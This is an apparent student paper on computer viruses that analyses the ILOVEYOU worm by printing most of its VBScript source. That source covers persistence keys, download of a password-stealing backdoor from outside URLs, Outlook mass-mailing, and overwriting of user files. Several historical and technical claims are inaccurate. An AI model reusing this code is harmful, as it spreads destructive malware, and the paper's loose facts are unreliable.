Viruses

Adam Sundermeyer, Matt Dowell, Dan Teeter, Lindsey Weingarth, Mathew Main

Abstract - **Computer viruses pose a threat to everyone. With the rise of technology and cyber criminals at an all time high, dealing with new viruses is just becoming a routine event. This paper examines the different types of viruses, the history behind those viruses, defines zero day vulnerability, the importance of antivirus software, and the breakdown of one of the most destructive computer viruses, the ILOVEYOU virus.**

Keywords – viruses; zero day; ILOVEYOU virus

I. Introduction

There seems to be reports almost weekly about the newest virus out on the Internet, wreaking havoc on the public's computers. This causes slow response times, consuming processing power, or even encrypting files and holding the user for ransom. So what, exactly, is a computer virus?

A computer virus is similar to that of a biological virus, which simply reproduces itself by replicating itself or, in some cases, infects other programs by modifying them [1]. Once this basic qualification is met, the possibilities are nearly endless. Some viruses simply reproduce themselves, spreading out to as many computers as possible. Other effects may include the following: slow the performance of the computers they infect, cause damage to files (both user and/or system), exfiltrate personal information, use the computers for specified tasks, or possibly hold the user's files ransom.

II. A Brief History

The first real computer virus was called "Creeper" and it was found on Arpanet (the network that laid the foundation for the internet) back in 1971 [2]. This worm was contained to the network it was released into because it was unable to spread outside of it. It wouldn't be until 1982's Elk Cloner that a virus would break free into the wild. During this time, computers were relatively rare and not very widespread, limiting the outcome of any one infection. Many relied on being copied from removable media, such as floppy disks.

The first Windows virus didn't show up until 1992 and targeted Windows 3.0, however, it didn't use any Windows functions, instead it relied on DOS interrupts [3]. Three years later, 1995, the first social network virus appeared, targeting MSN Messenger users.

III. Types of Viruses

Technically, viruses are a subset of software classified as "malware" (short for malicious software). Additionally, malware categories aren't mutually exclusive; therefore one program may include multiple methods to fulfill its objective.

Named after the mythical Trojan Horse of legend, this type of malware disguises itself as a beneficial program in order to get the victim to download and run it. Only then does it execute its payload. Trojans are usually spread via social engineering (essentially hacking the human) or by drive-by downloads (downloading a program by simply visiting an infected website). Trojans don't typically inject themselves into other files [4].

Rootkits hide themselves from both the user and the operating system. This allows the malware to execute its programming without being detected. Some rootkits are hardened against removal attempts.

The actual definition of a virus is a program hidden within another program that copies itself and injects them into other files. Viruses also commonly perform negative actions (but not always) [5]. Included in this category are macro viruses, viruses that live as a macro inside of a file, such as a Word or Excel document.

Scareware are programs that try to get the user to perform a desired action, generally paying the perpetrators money. They do this by insinuating the user has performed some illegal action (such as downloading music/movies).

Adware are programs that try and get the user to buy their program. The most common type among these are fake anti-virus programs. They usually get the user to do this by offering a free virus scan. They then return a long list of "potential computer issues", even if the computer is actually operating correctly.

Spyware programs do exactly what they say: they spy on the user. Many times, they're eavesdropping on personal data (passwords, health information, location data) that the virus writers can sell to other parties or use in identity theft.

Ransomware is a classification of malware that is defined as holding the user's files or computer hostage until the user pays the offenders. The most common form of this type is referred to as "cryptolocker", after the most famous example. This software downloads to a user's computer and then runs a low-priority encryption of the user's files. Running the encryption as low priority prevents all but the most astute people from noticing anything is going on. Only after the encryption is completed does the program show itself to the user.

IV. Zero Day

Zero day refers to the number of days that a software manufacturer has known about a flaw. Zero day vulnerability signifies the first day of which the general public becomes aware of the vulnerability after the disclosure from the manufacturer or an anti-virus company. This is typically timed to coincide with a corresponding software patch that fixes the exploit, because it doesn't do to company any good to make a disclosure of a problem without a solution. For these types of zero day events, the risk has already been mitigated by the fact that there is a fix for it. The danger is that there remains a window of time where the exploit can still be used, especially if users are slow to implement the patches. This can occur on systems that are not routinely connected to the Internet, systems that have automatic updates disabled and corporate systems that rely on a patch cycle and therefore have to wait for a weekend to implement a patch of the systems. A common source of zero day vulnerabilities are discovered after the holes have been found and turned into the manufacturer through a bug bounty program. The bounty programs are a means by which software manufacturers reward ethical white-hat hackers for finding flaws in their code and reporting them. That was they can be fixed rather than allowing the information to become public and potentially having it fall into the hands of black-hat hackers.

A far more serious threat is the zero day exploit that is only discovered after it has already been exploited and damage has occurred to systems. Black-hat hackers are hoping for this since it is the method that is likely to cause the most disruption and affects the most systems. Once the zero day has been identified forces begin to work against it, system are patched and the general public becomes more cautious. The knowledge of a potential hole that can become a zero day exploit is a highly sought after piece of information for which there is a market within the dark web.

V. Anti-virus Software

Although called Anti-virus software it is actually anti-malware software, as it deals with all forms of malicious code and not merely viruses. Anti-virus software works in two ways: proactive and reactive. The proactive approach checks everything against a dictionary of known malware, signatures and quarantines anything that is found to be questionable. Once the malware has been quarantined it can be deleted safely without threat to the computer. This method is preferred in dealing with the malware once it has a foothold. The challenge with this is that there is a constant battle of the anti-virus software companies trying to stay one step ahead of the black-hat hackers. Additionally the dictionary that the anti-virus software relies on must be kept up to date. If it is not updated then there is an increased risk of a new piece of malware getting past the anti-virus software.

The reactive approach relies on looking at the behavior of the computer and determining if the installed software is acting in a way that fits the profile of being infected with malware. This method is only marginally effective since it will often throw false flags, which the users often don't understand and just simply accept. Some anti-virus software also employ techniques, such as emulating the beginning of a new piece of code to see what they are trying to do, or first running the code in a sandbox before allowing the code to run against the target system.

VI. History of ILOVEYOU Virus

In the late 1990's to early 2000's there were a couple different factors that came together to make viruses such as ILOVEYOU popular and effective. One of them being, the Internet started becoming ubiquitous, especially in major corporations. Second, most organizations used Microsoft Outlook as their email client, and finally, to be more user friendly, Outlook automatically executed scripts in emails when they were opened.

The auto-execute "feature" in Outlook may seem naive today, but as an experienced IT worker during that timeframe, there was definitely a rush to market and euphoria around the fledgling Internet. This caused very limited numbers of IT Mail Server Administrators to even think of turning the feature off initially. Microsoft's position was they wanted their customers to be able to decide that for themselves. However, that did not last long, in order to protect their reputation they removed that option.

In the meantime, there was a plethora of Outlook VBS (Visual Basic Script) worms and viruses running wild. The first wave of Outlook viruses, spread through email and it would have the "victim" (executor) in the email "From:" field. For the second wave, the virus writers got smarter and decided to randomize the “To:” and “From:” fields along with the subject. This prevented a noticeable pattern and limited the ability to just talk to your co-workers and say, “Hey, don’t open that email from Bob.”[6]

The email provider industry hardened and eventually there was a drop-off (almost elimination) of email viruses and worms. Today, most people use web-based email systems and most industries implement heavy-duty security tooling and procedures around email services.

VII. Breakdown of ILOVEYOU Virus

The following is the source code for one of the more popular VBS viruses, ILOVEYOU. Reonel Ramones and Onel de Guzman, two young computer science students in the Philippines, originally wrote ILOVEYOU. The virus was launched from their apartment on May 5, 2000 [7].

Within each major segment is a description of that section’s components and their functionality.

```
rem  barok -loveletter(vbe) <i hate go to school>
 rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /
Manila,Philippines
 On Error Resume Next
 dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
 eq=""
 ctr=0
 Set fso = CreateObject("Scripting.FileSystemObject")
 set file = fso.OpenTextFile(WScript.ScriptFullname,1)
 vbscopy=file.ReadAll
 main()
 sub main()
 On Error Resume Next
 dim wscr,rr
 set wscr=CreateObject("WScript.Shell")
```

The initial section gets handed to the file system, the script itself, and the WScript object, which provides access to the local system.

```
 rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
 if (rr>=1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
 end if
```

The above code sets the “Timeout” associated with the running scripts to 0, which turns the timeout feature off.

```
 Set dirwin = fso.GetSpecialFolder(0)
 Set dirsystem = fso.GetSpecialFolder(1)
 Set dirtemp = fso.GetSpecialFolder(2)
 Set c = fso.GetFile(WScript.ScriptFullName)
 c.Copy(dirsystem&"\MSKernel32.vbs")
 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
```

The “GetSpecialFolder” methods return (in this order) the Windows, System, and Temp folders in the operating system. In other words, this section copies itself to those filters, with cleaver unsuspecting renames.

```
 regruns()

sub regruns()
 On Error Resume Next
 Dim num,downread
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern
el32",dirsystem&"\MSKernel32.vbs"
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService
s\Win32DLL",dirwin&"\Win32DLL.vbs"
 downread=""
 downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
 if (downread="") then
 downread="c:\"
 end if
 if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
 Randomize
 num = Int((4 * Rnd) + 1)
 if num = 1 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
 Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
 hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
 elseif num = 2 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
 erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
 elseif num = 3 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
 Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
 QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
 elseif num = 4 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
 Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
 GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -
BUGSFIX.exe"
 end if
 end if
 if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU
GSFIX",downread&"\WIN-BUGSFIX.exe"
 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
 Explorer\Main\Start Page","about:blank"
 end if
 end sub
```

The script then calls the sub, regruns(). There is a copy of that sub below the call. This method first uses the regcreate call to create registry entries (its own local storage space for values). Then it tries to use Internet Explorer to download a virus, WIN-BUGSFIX.exe, which is a backdoor program that captures network passwords [8].

```
 html()
…
 scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick
 "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
…
 set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
 set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
 d.write join(lines,vbcrlf)
 d.write vbcrlf
 d.write dt6
 d.close
```

The html() method is then called, which creates a HTML email called LOVE-LETTER-FOR-YOU.HTM and writes it to a system directory.

```
 spreadtoemail()

 sub spreadtoemail()
 On Error Resume Next
 dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
 set regedit=CreateObject("WScript.Shell")
 set out=WScript.CreateObject("Outlook.Application")
 set mapi=out.GetNameSpace("MAPI")
 for ctrlists=1 to mapi.AddressLists.Count
 set a=mapi.AddressLists(ctrlists)
 x=1
 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if
(regv="") then
 regv=1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
 for ctrentries=1 to a.AddressEntries.Count
 malead=a.AddressEntries(x)
 regad=""
 regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
 if (regad="") then
 set male=out.CreateItem(0)
 male.Recipients.Add(malead)
 male.Subject = "ILOVEYOU"
 male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
 male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
 regedit.RegWrite
 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
 x=x+1
 next
 regedit.RegWrite
 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
 regedit.RegWrite
 "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end
if
 next
```

```
Set out=Nothing
Set mapi=Nothing
end sub
```

This next method call: spreadtoemail() performs a critical virus function, duplication and spreading of itself. It opens Outlook, accesses all the email addresses in the Address Book and creates an email entry for each one.

The Subject field is set to: "ILOVEYOU."

The Body field is set to: "kindly check the attached LOVELETTER coming from me."

An Attachment is added: "LOVE-LETTER-FOR-YOU.TXT.vbs"

It also uses the registry to keep track of the number of emails sent.

```
listadriv()

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
```

This section lists all the drives mapped to this computer and, for each drive, it call’s folderlist().

```
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
```

```
 folderlist(f1.path)
 next
 end sub
```

Folderlist() gets all the folders for the given drive and calls infectfiles() in each file.

```
 sub infectfiles(folderspec)
 On Error Resume Next
 dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
 set f = fso.GetFolder(folderspec)
 set fc = f.Files
 for each f1 in fc
 ext=fso.GetExtensionName(f1.path)
 ext=lcase(ext)
 s=lcase(f1.name)
 if (ext="vbs") or (ext="vbe") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
(ext="sct") or (ext="hta") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 bname=fso.GetBaseName(f1.path)
 set cop=fso.GetFile(f1.path)
 cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
 elseif(ext="jpg") or (ext="jpeg") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 set cop=fso.GetFile(f1.path)
 cop.copy(f1.path&".vbs")
 fso.DeleteFile(f1.path)
 elseif(ext="mp3") or (ext="mp2") then
 set mp3=fso.CreateTextFile(f1.path&".vbs")
 mp3.write vbscopy
 mp3.close
 set att=fso.GetFile(f1.path)
 att.attributes=att.attributes+2
 end if
 if (eq<>folderspec) then
 if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
 set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
 scriptini.WriteLine ";mIRC Script"
 scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt,
if mIRC will"
 scriptini.WriteLine "  corrupt... WINDOWS will affect and will not run
correctly. thanks"
 scriptini.WriteLine ";"
 scriptini.WriteLine ";Khaled Mardam-Bey"
 scriptini.WriteLine ";http://www.mirc.com"
 scriptini.WriteLine ";"
 scriptini.WriteLine "n0=on 1:JOIN:#:{"
 scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick
 "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
 scriptini.WriteLine "n3=}"
 scriptini.close
 eq=folderspec
 end if
 end if
 next
 end sub
```

With the initial lines of this function being the following.

```
if (ext="vbs") or (ext="vbe") then
 set
ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 Ap.close
```

The virus is overwriting any files with a VBS or VBE extension (Visual Basic Scripts) with itself. Outlook and a number of other programs would use Visual Basic scripts as part of its architecture as it was an up-and-coming scripting language choice for a multitude of programs. The virus then ensured its propagation by copying itself into those files.

Further on, it looks for files with the following extensions to overwrite.

```
 elseif(ext="js") or (ext="jse") or
(ext="css") or (ext="wsh") or
(ext="sct") or (ext="hta")
...
 elseif(ext="jpg") or (ext="jpeg")
then
```

Those are also popular scripting or user-launched file extensions. Those files get the VBS extension and then the originals are deleted. The next extensions are the following.

```
 elseif(ext="mp3") or (ext="mp2")
then
```

They also get overwritten and appended with the new VBS extension but they get the viruses attributes as well, since MP3 and MP2 files are not executable by default.

The last thing the virus does is look for the following files in the current folder.

```
(s="mirc32.exe") or
(s="mlink32.exe") or (s="mirc.ini")
or (s="script.ini") or
(s="mirc.hlp")
```

If it finds any of those files, it writes a copy of itself in the folder called **script.ini.**

References

[1] Stallings, William (2012). Computer Security: Principles and Practice. Boston: Pearson. p. 182.

[2] Thomas Chen, Jean-Marc Robert (2004). "The Evolution of Viruses and Worms". [Online]. Available at: https://lyle.smu.edu/~tchen/papers/statmethods2004.pdf [Accessed: June-2016].

[3] WinVer virus. [Online]. Available at: https://www.f-secure.com/v-descs/winvir.shtml [Accessed: June-2016].

[4] "VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00. [Online] Available at: http://www.faqs.org/faqs/computer-virus/faq/ [Accessed: June-2016].

[5] "What are viruses, worms, and Trojan horses?". Indiana University. The Trustees of Indiana University. [Online]. Available at: https://kb.iu.edu/d/aehm [Accessed: June-2016].

[6] Personal recollection

[7] [Online]. Available at: http://web.archive.org/web/20080206114348/http://www.acpf.org/WC8th/AgendaItem2/I2%20Pp%20Gana,Phillipine.html [Accessed: June-2016].

[8] “Iloveyou Virus Affects Windows Users – Updated.” [Online]. Available at: http://www.iss.net/threats/advise51.html [Accessed: June-2016]